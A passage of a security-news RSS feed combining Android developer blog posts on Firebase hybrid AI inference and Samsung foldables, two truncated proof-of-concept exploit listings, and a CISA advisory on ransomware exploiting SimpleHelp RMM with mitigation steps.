<pre><code>// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)</code></pre>

<p>The Hybrid Inference API supports four distinct routing modes:</p>
<ul>
  <li><strong>PREFER_ON_DEVICE:</strong> Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.</li>
  <li><strong>PREFER_IN_CLOUD:</strong> Prioritizes cloud execution and falls back to on-device if the device goes offline.</li>
  <li><strong>ONLY_ON_DEVICE:</strong> Restricts execution strictly to the device.</li>
  <li><strong>ONLY_IN_CLOUD:</strong> Restricts execution strictly to the cloud.</li>
</ul>

<p>Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:</p>

<pre><code>private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}</code></pre>

<h2>Custom hybrid routing: Hotel support chat translation with simulated personas</h2>
<p>The <b>hotel support chat</b> was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.</p>

<pre><code>private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )</code></pre>

<p>Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language. </p><div class="separator"><em><br><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikIB_NnUYK8GnEpI3foNLO2_AQ2lNZhoc9gFB-CjERDjMwrdQ2T45y6jzrJAafi4Jz7eF_SBkXG7csDwpajKctp5yo1hsBjIacIfK3aHvvQjCUu22qZBj7dLl5Q4aGFJRD4hwTlMMNgZD8sIuYpCrRjMmpa5ybXDzi9nkTMZoiJOEn8jLmqBsgTXcVTDY/s4112/translation_upscaled.png"><img border="0" data-original-height="2364" data-original-width="4112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikIB_NnUYK8GnEpI3foNLO2_AQ2lNZhoc9gFB-CjERDjMwrdQ2T45y6jzrJAafi4Jz7eF_SBkXG7csDwpajKctp5yo1hsBjIacIfK3aHvvQjCUu22qZBj7dLl5Q4aGFJRD4hwTlMMNgZD8sIuYpCrRjMmpa5ybXDzi9nkTMZoiJOEn8jLmqBsgTXcVTDY/s1600/translation_upscaled.png"></a></div><div class="separator"><em>Hotel support chat messages are automatically translated to the user’s preferred language </em></div></em></div>

<p>While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:</p>
<ul>
  <li><strong>Language identification:</strong> Using the on-device <a href="https://developers.google.com/ml-kit/language/identification/android">ML Kit Language Identification API</a>, we can detect the incoming message language.</li>
  <li><strong>On-device translation (Gemini Nano):</strong> <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.</li>
  <li><strong>Cloud translation (Gemini 3 Flash):</strong> For more complex languages, we use Gemini Flash 3 to get a higher quality translation.</li>
</ul>

<pre><code>// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )</code></pre>

<p>When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:</p>

<pre><code>fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" &amp;&amp; sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current -&gt;
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}</code></pre>

<p>In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.</p>

<h2>Securing the AI Pipelines: Firebase App Check</h2>
<p>Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated <a href="https://firebase.google.com/docs/app-check"><b>Firebase App Check</b></a> using both Play Integrity (production) and the local Debug Provider (for local development or emulators).</p>

<p>In the <a href="https://github.com/android/ai-samples/blob/main/jetpacker/android/app/src/main/kotlin/com/example/jetpacker/JetPackerApplication.kt">JetPackerApplication.kt</a> file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:</p>

<pre><code>//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}</code></pre>

<p>When building locally on an emulator, App Check prints a local token secret to logcat:</p>

<p>Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e</p>

<p>Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.</p>

<h2>Conclusion</h2>
<p>By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.</p>

<p>Check out the <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">full source code for Jetpacker on GitHub</a>, and explore the Firebase documentation to get started:</p>
<p><a href="https://firebase.google.com/docs/ai-logic/get-started">Firebase AI Logic Documentation</a><br><a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started">Firebase Hybrid Inference API</a></p>

<h2>Learn more</h2>
<p>Check out the other parts of this blog post series:</p>
<p><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1</a>:</b> Introduction of the app and a high-level overview.<br><b><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">Part 2</a>: </b>On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3 (this post!):</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html">Part 4:</a> </b>System integration. Integrating with the Android intelligence system using AppFunctions. <br><b>Part 5 (coming soon):</b> In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre>]]></content:encoded>
</item>
<item>
<title><![CDATA[Optimize your apps for the next generation of Samsung Galaxy devices]]></title>
<description><![CDATA[Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer ExperienceToday at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, ...]]></description>
<link>https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:16 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-c747avSj9Z8JO4DTK4kSfO3SjSpd5aTuVvR_TBeD3bXV6cc8lzNLGrWCngNXdyZBeiNjQqwQZCcU4QCrovwL99gu0t5bQrlTXa0PIBGIivwyS8y226MgeraphZr4VITWYe0x7ckFto0dsD8rBLM1J_P3dV0CBj5Ctlwm8jsgAPZA7W2XnKnRz59H9I/s2049/MM_Adaptive_and_device_Meta%20(1).png"><div>



<div><div class="separator"><i>Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience</i></div></div><div><i><br></i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s4210/MM_Adaptive_and_device_Blog.png"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s1600/MM_Adaptive_and_device_Blog.png"></a></div><br><i><br></i><p>Today at Galaxy Unpacked, Samsung <a href="https://blog.google/products-and-platforms/platforms/android/galaxy-unpacked-2026" target="_blank">unveiled</a> its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.</p>

<p>With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.</p>

<div class="separator">
  </div>

<h2>Rethink layout architecture for dynamic displays, including ultra-wide foldables</h2>

<p>Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for.  Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">dedicated guidance for building for landscape foldables and trifolds.</a></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1302/Samsung%20fold8%20phones.png"><img border="0" data-original-height="442" data-original-width="1302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1600/Samsung%20fold8%20phones.png"></a></div><br><p>To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:</p>

<p></p><ul><li><b>Build fluid, adaptive layouts: </b>Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated <a href="https://developer.android.com/design/ui/mobile/guides/layout-and-content/adapt-layout" target="_blank">adaptive design guidance</a> advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our <a href="https://developer.android.com/design/ui/gallery/social/pawparazzi" target="_blank">adaptive sample app</a> and <a href="https://developer.android.com/design/ui/gallery/social/dual-screen?hl=en" target="_blank">dual-screen</a> design galleries.</li><li><b>Track actual app space:</b> Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage <a href="https://developer.android.com/develop/adaptive-apps/guides/use-window-size-classes?hl=en" target="_blank">Window Size Classes</a> using the <a href="https://developer.android.com/blog/posts/jetpack-window-manager-1-5-is-stable" target="_blank">Jetpack Window Manager library</a> to calculate the exact space your app occupies.</li></ul><div><br></div>
  
<div class="separator">
  </div></div><div class="separator"><br></div><div class="separator"><div class="separator"><ul><li><b>Leverage the latest Jetpack Compose Update: </b>Start by adopting the stable <a href="https://android-developers.googleblog.com/2026/04/jetpack-compose-april-2026-updates.html" target="_blank">Jetpack Compose April '26 release</a> (<a href="https://developer.android.com/develop/ui/compose/bom" target="_blank">Compose BOM</a> version <code>2026.04.01</code>).Take advantage of the new structural layout tools to manage complex architectures. The new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid" target="_blank">Grid</a> API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox" target="_blank">FlexBox</a> layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/mediaquery" target="_blank">MediaQuery</a> API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types. </li><li><b>Make your app fold aware: </b>Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is<a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/make-your-app-fold-aware" target="_blank"> fold aware</a>, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.</li><li><b>Maintain app continuity:</b> Avoid breaking the user journey when the device configuration shifts. Retain your UI state using <a href="https://developer.android.com/topic/libraries/architecture/viewmodel?hl=en" target="_blank">ViewModel</a> to ensure smooth transitions when a user folds or unfolds their device.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/s1920/7.22_MorphToTablet_Gif.gif"><img border="0" data-original-height="1080" data-original-width="1920" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/w640-h360/7.22_MorphToTablet_Gif.gif" width="640"></a></div><div><h2>Ensure seamless camera capture on foldable devices</h2><div>Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.</div><div> </div><div>When optimizing your app's media pipeline, migrate your capture experiences to <a href="https://developer.android.com/media/camera/camerax" target="_blank">CameraX</a> using the CameraX migration <a href="https://github.com/android/skills/blob/main/camera/camerax/SKILL.md">skill</a>. The library’s <a href="https://developer.android.com/reference/kotlin/androidx/camera/view/PreviewView" target="_blank">PreviewView</a> automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables#solution_2_cameraviewfinder" target="_blank">CameraViewfinder</a> library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.</div></div><h2>Extend glanceable interactions to Wear OS 7</h2><div>The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using <a href="https://developer.android.com/jetpack/androidx/releases/glance-wear" target="_blank">Jetpack Glance</a> and <a href="https://developer.android.com/jetpack/androidx/releases/compose-remote" target="_blank">RemoteCompose</a>. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets. </div><div><br></div>
    
 <div class="separator">
  </div><div class="separator"><h2>Build intelligent features </h2><div class="separator"><a href="https://blog.google/products-and-platforms/platforms/android/gemini-intelligence/" target="_blank">Gemini intelligence </a>already completes tasks on users’ behalf, and you can <a href="https://developer.android.com/ai/appfunctions?_gl=1*1jms098*_up*MQ..*_ga*MjY0OTY0MDI3LjE3ODQzMzI1NDk.*_ga_6HH9YJMN9M*czE3ODQzMzI1NDkkbzEkZzAkdDE3ODQzMzI1NDkkajYwJGwwJGgxNjE0MTMzNjEz" target="_blank">experiment</a> with the intelligence system by sharing your apps capabilities. </div><div class="separator"><br></div><div class="separator">Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and <a href="https://developers.google.com/ml-kit/release-notes#july_14_2026" target="_blank">much more</a>. Use <a href="https://developers.google.com/ml-kit/genai/prompt/android" target="_blank">ML Kit’s Prompt API</a> with advanced features like s<a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output" target="_blank">tructured output</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/thinking-mode" target="_blank">thinking mode</a> to build intelligent features on-device. </div><div class="separator"><h2>Start optimizing today</h2><div class="separator">The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for <a href="https://developer.android.com/develop/adaptive-apps" target="_blank">building adaptive apps </a>to learn more about core adaptive design principles. </div><div class="separator"><br></div><div class="separator">To dive deeper, check out our comprehensive <a href="https://www.youtube.com/playlist?list=PLD2U7gd1-ieo" target="_blank">YouTube playlist</a>. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">trifolds and landscape foldables</a> and <a href="https://developer.android.com/design/ui/wear/guides/get-started?hl=en" target="_blank">WearOS</a>. </div><div class="separator"><br></div><div class="separator">Unfold the future today! </div></div></div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sitecore XP Post-Authentication File Upload]]></title>
<description><![CDATA[Topic: Sitecore XP Post-Authentication File Upload Risk: High Text:##  # This module requires Metasploit: https://metasploit.com/download  # Current source: https://github.com/rapid7/metasploit-...]]></description>
<link>https://tsecurity.de/de/3693421/poc/sitecore-xp-post-authentication-file-upload/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693421/poc/sitecore-xp-post-authentication-file-upload/</guid>
<pubDate>Sat, 25 Jul 2026 10:04:48 +0200</pubDate>
<category>⚠️ PoC</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Topic: Sitecore XP Post-Authentication File Upload Risk: High Text:##  # This module requires Metasploit: https://metasploit.com/download  # Current source: https://github.com/rapid7/metasploit-...]]></content:encoded>
</item>
<item>
<title><![CDATA[MonstaFTP Unauthenticated File Upload]]></title>
<description><![CDATA[Topic: MonstaFTP Unauthenticated File Upload Risk: Medium Text:# Titles: MonstaFTP Unauthenticated File Upload CVE-2025-34299  # Author: ibrahimsql  # Date: 11/21/2025  # Vendor: https://www...]]></description>
<link>https://tsecurity.de/de/3693414/poc/monstaftp-unauthenticated-file-upload/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693414/poc/monstaftp-unauthenticated-file-upload/</guid>
<pubDate>Sat, 25 Jul 2026 10:04:38 +0200</pubDate>
<category>⚠️ PoC</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Topic: MonstaFTP Unauthenticated File Upload Risk: Medium Text:# Titles: MonstaFTP Unauthenticated File Upload CVE-2025-34299  # Author: ibrahimsql  # Date: 11/21/2025  # Vendor: https://www...]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider]]></title>
<description><![CDATA[Summary
The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. Th...]]></description>
<link>https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/</guid>
<pubDate>Sat, 25 Jul 2026 09:19:52 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p>The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.</p>
<p>SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including <a href="https://www.cve.org/CVERecord?id=CVE-2024-57727" target="_blank" title="CVE-2024-57727">CVE-2024-57727</a>—a path traversal vulnerability.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note1" title="Note1"><sup>1</sup></a><sup> </sup>Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note1" title="Note 1"><sup>1</sup></a><sup> </sup></p>
<p>CISA added CVE-2024-57727 to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities Catalog">Known Exploited Vulnerabilities (KEV) Catalog</a> on Feb. 13, 2025.</p>
<p>CISA urges software vendors, downstream customers, and end users to immediately implement the <strong>Mitigations </strong>listed in this advisory based on confirmed compromise or risk of compromise.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-06/aa25-163a-ransomware-simplehelp-rmm-compromise.pdf" class="c-file__link" target="_blank">AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider</a>
    <span class="c-file__size">(PDF,       420.49 KB
  )</span>
  </div>
</div>
<h2><strong>Mitigations</strong></h2>
<p>CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.</p>
<h3>Vulnerable Third-Party Vendors</h3>
<p>If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file <code>&lt;file_path&gt;/SimpleHelp/configuration/serverconfig.xml</code>. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:</p>
<ol>
<li>Isolate the SimpleHelp server instance from the internet or stop the server process.</li>
<li>Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note2" title="Note 2"><sup>2</sup></a></li>
<li>Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.</li>
</ol>
<h3>Vulnerable Downstream Customers and End Users</h3>
<p>Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.</p>
<h4><strong>SimpleHelp Endpoints</strong></h4>
<p>Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:</p>
<ul>
<li>Windows: <code>%APPDATA%\JWrapper-Remote Access</code></li>
<li>Linux: <code>/opt/JWrapper-Remote Access</code></li>
<li>MacOs: <code>/Library/Application Support/JWrapper-Remote Access</code></li>
</ul>
<p>If RAS installation is present and running, open the <code>serviceconfig.xml</code> file in <code>&lt;file_path&gt;/JWrapper-Remote Access/JWAppsSharedConfig/</code> to determine if the registered service is vulnerable. The lines starting with <code>&lt;ConnectTo</code> indicate the server addresses where the service is registered.</p>
<h4><strong>SimpleHelp Server</strong></h4>
<p>Determine the version of any SimpleHelp server by performing an HTTP query against it. Add <code>/allversions</code> (e.g., <code>https://simple-help.com/allversions</code>) to query the URL for the version page. This page will list the running version.</p>
<p>If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. <strong>Note: </strong>This is not an exhaustive list of indicators of compromise.</p>
<ol>
<li> Refer to SimpleHelp’s guidance to determine compromise and next steps.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note3" title="Note 3"><sup>3</sup></a></li>
<li>Isolate the SimpleHelp server instance from the internet or stop the server process.</li>
<li>Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., <code>aaa.exe</code>, <code>bbb.exe</code>, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.</li>
<li>Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note4" title="Note 4"><sup>4</sup></a></li>
</ol>
<p>If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.</p>
<h3>Encrypted Downstream Customers and End Users</h3>
<p>If a system has been encrypted by ransomware:</p>
<ol>
<li>Disconnect the affected system from the internet.</li>
<li>Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.</li>
<li>Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.</li>
</ol>
<p>CISA urges you to promptly report ransomware incidents to a <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="local FBI Field Office">local FBI Field Office</a>, FBI’s <a href="https://www.ic3.gov/" target="_blank" title="Internet Crime Compliant Center (IC3)">Internet Crime Compliant Center (IC3)</a>, and CISA via CISA’s 24/7 Operations Center (<a href="mailto:report@cisa.gov" title="report@cisa.gov">report@cisa.gov</a> or 1-844-Say-CISA).</p>
<h3><strong>Proactive Mitigations to Reduce Risk</strong></h3>
<p>To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:</p>
<ul>
